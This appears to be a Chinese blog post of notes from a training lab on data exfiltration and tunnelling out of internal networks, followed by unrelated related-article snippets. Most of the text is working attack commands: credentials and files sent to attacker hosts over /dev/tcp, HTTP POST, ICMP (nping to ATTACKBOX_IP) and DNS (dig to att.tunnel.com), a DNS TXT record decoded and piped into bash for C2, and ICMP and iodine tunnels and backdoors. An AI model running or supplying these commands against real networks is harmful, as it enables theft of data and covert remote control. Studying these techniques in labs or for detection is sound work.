内网数据带外传输及隧道建立

ops/2024/11/14 3:10:24/

内网数据带外传输及隧道建立

  • 使用TCP套接字外泄数据(易被检测)
  • 使用ssh进行渗透
  • 使用http(s)进行渗透
  • 建立http协议隧道
  • 使用ICMP进行数据外泄
  • 使用ICMP建立C2通信
  • 通过DNS进行数据外泄
  • 通过DNS进行c2通信
  • 通过DNS进行隧道传输

使用TCP套接字外泄数据(易被检测)

# 在跳板机上准备监听器
nc -lvp 8080 > /tmp/task4-creds.data
# 在受害机上编码传输文件至跳板机
tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080
# 在跳板机上执行文件恢复
dd conv=ascii if=task4-creds.data |base64 -d > task4-creds.tar && tar xvf task4-creds.tar

使用ssh进行渗透

tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"

使用http(s)进行渗透

# 通过 HTTP/HTTPS 协议的POST请求外泄数据是最佳选择之一
# 处理上传的服务端php编码
<?php 
if (isset($_POST['file'])) {$file = fopen("/tmp/http.bs64","w");fwrite($file, $_POST['file']);fclose($file);}
?>
# 将数据传回服务器
curl --data "file=$(tar zcf - task6 | base64)" # 修复并解压文件
sudo sed -i 's/ /+/g' /tmp/http.bs64 && cat /tmp/http.bs64 | base64 -d | tar xvfz -

建立http协议隧道

# Neo-reGeorg 
https://github.com/L-codes/Neo-reGeorg# 使用选定的密码生成加密的隧道客户端(攻击机运行)
python3 neoreg.py generate -k thm#将neoreg_servers下的文件上传到跳板机并运行起来# 创建http协议隧道指向跳板机
python3 neoreg.py -k thm -u http://10.10.181.169/uploader/files/tunnel.php# curl进行通信
curl --socks5 127.0.0.1:1080 http://172.20.0.121:80# 或者可以用proxyChains/foxyProxy等工具全局代理

使用ICMP进行数据外泄

ICMP 数据包的结构包含一个 Data 部分,该部分可以包含用于错误消息的其他信息的字符串或副本,例如 IPv4 标头。下图显示了“数据”部分,该部分是可选的# 使用msf进行icmp通信
## 在 MSF 中设置BPF_FILTER
use auxiliary/server/icmp_exfil
set BPF_FILTER icmp and not src ATTACKBOX_IP
set INTERFACE eth0
run# 从受害者发送触发值
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "BOFfile.txt"
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "admin:password"
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "admin2:password2"
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "EOF"

使用ICMP建立C2通信

# ICMPDoor
https://github.com/krabelize/icmpdoor# 在受害机上运行
sudo icmpdoor -i eth0 -d 192.168.0.133
# 在攻击机器上运行
sudo icmp-cnc -i eth1 -d 192.168.0.121

通过DNS进行数据外泄

# 将数据拆成多个DNS请求并发送
cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/ | awk '{print "dig +short " $1}' | bash# 接收端接受数据
sudo tcpdump -i eth0 udp port 53 -v

通过DNS进行c2通信

# 输出控制脚本的base64格式
cat /tmp/script.sh | base64 
# 添加上条命令的输出到受害机的域解析记录中
# 检查是否添加成功
dig +short -t TXT script.tunnel.com
# 受害机执行脚本
dig +short -t TXT script.tunnel.com | tr -d "\"" | base64 -d | bash

通过DNS进行隧道传输

#iodine
https://github.com/yarrick/iodine# 运行iodined服务器
sudo iodined -f -c -P thmpass 10.1.1.1/24 att.tunnel.com   
Opened dns0-f 参数用于在前台运行服务器。
-c 参数用于跳过检查每个 DNS 请求的客户端 IP 地址和端口。
-P 参数用于设置身份验证密码。
10.1.1.1/24 参数用于设置新网络接口 (dns0) 的网络 IP。服务器的 IP 地址为 10.1.1.1,客户端为 10.1.1.2。
att.tunnel.com 是我们之前设置的名称服务器。# 跳板机运行连接到服务器
sudo iodine -P thmpass att.tunnel.com# SSH 结束域名解析
ssh thm@10.1.1.2 -4 -f -N -D 1080# 用ssh作为连接代理(连接127.0.0.1的1080端口)
proxychains curl http://192.168.0.100/demo.php

http://www.ppmy.cn/ops/96701.html

相关文章

MySQL——单表查询(二)按条件查询(4)空值查询

在数据表中&#xff0c;某些列的值可能为空值(NULL),空值不同于0&#xff0c;也不同于空字符串。 在 MySQL 中&#xff0c;使用 IS NULL 关键字来判断字段的值是否为空值,其语法格式如下所示&#xff1a; SELECT * |字段名 1,字段名 2,... FROM 表名 WHERE 字段名 IS …

SpringCloud天机学堂:分布式任务调度

SpringCloud天机学堂&#xff1a;分布式任务调度 文章目录 SpringCloud天机学堂&#xff1a;分布式任务调度1、分布式任务调度2、分布式任务调度原理3、分布式任务调度技术对比4、XXL-JOB介绍部署调度中心定义任务注册执行器配置任务调度执行一次 1、分布式任务调度 一般的定时…

探索Python性能优化的神秘力量:Line Profiler

文章目录 探索Python性能优化的神秘力量&#xff1a;Line Profiler第一部分&#xff1a;背景第二部分&#xff1a;库简介第三部分&#xff1a;安装指南第四部分&#xff1a;基本使用方法第五部分&#xff1a;实际应用场景场景1&#xff1a;数据分析场景2&#xff1a;机器学习模…

【C++】模拟实现vector

可以把vector看作升级版的数组&#xff0c;可采用下标进行访问&#xff0c;非常高效&#xff0c;大小可动态改变&#xff0c;会自动扩容&#xff0c;数据存储在堆空间上。 VECROR 成员变量、函数及模板总览构造函数和析构函数无参构造函数构造n个元素大小的空间并初始化通过某个…

ubuntu18.04下安装nvidia3090显卡驱动

前言&#xff1a;之前安装过4090的显卡&#xff0c;但是是使用20.04直接在第三方驱动里面安装的&#xff0c;这回使用的是18.04&#xff0c;版本估计是21年以前的&#xff0c;附加驱动直接没有&#xff0c;整整卡了两天&#xff0c;最后再查询多篇资料后最终安装好&#xff0c;…

计算机视觉实战详解:从基础到前沿

引言: 计算机视觉是人工智能领域中最激动人心的分支之一。它赋予机器以"眼睛",使其能够理解和处理视觉信息。本专栏旨在带领读者从基础知识出发,逐步深入计算机视觉的核心概念和实际应用,最终掌握前沿技术。无论您是初学者还是有一定基础的开发者,这个专栏都将为您提…

使用PowerShell自动化Windows系统管理任务(上)

使用PowerShell自动化Windows系统管理任务是一个广泛而深入的主题&#xff0c;它涵盖了从简单的日常任务到复杂的系统维护和优化策略。PowerShell作为Microsoft提供的强大脚本和自动化工具&#xff0c;已经成为Windows系统管理员不可或缺的一部分。在本文中&#xff0c;我们将深…

Spring/Spring Boot/微服务/Spring Cloud

SpringBoot可以同时处理多少个请求 待写 SpringBoot为什么默认使用Cglib动态代理 待写 SpringBoot中有几种定义Bean的方式&#xff1f; 待写 SpringCloud核心组件有哪些&#xff0c;分别有什么作用 服务注册与发现&#xff1a; 客户端负载均衡&#xff1a; 服务熔断&am…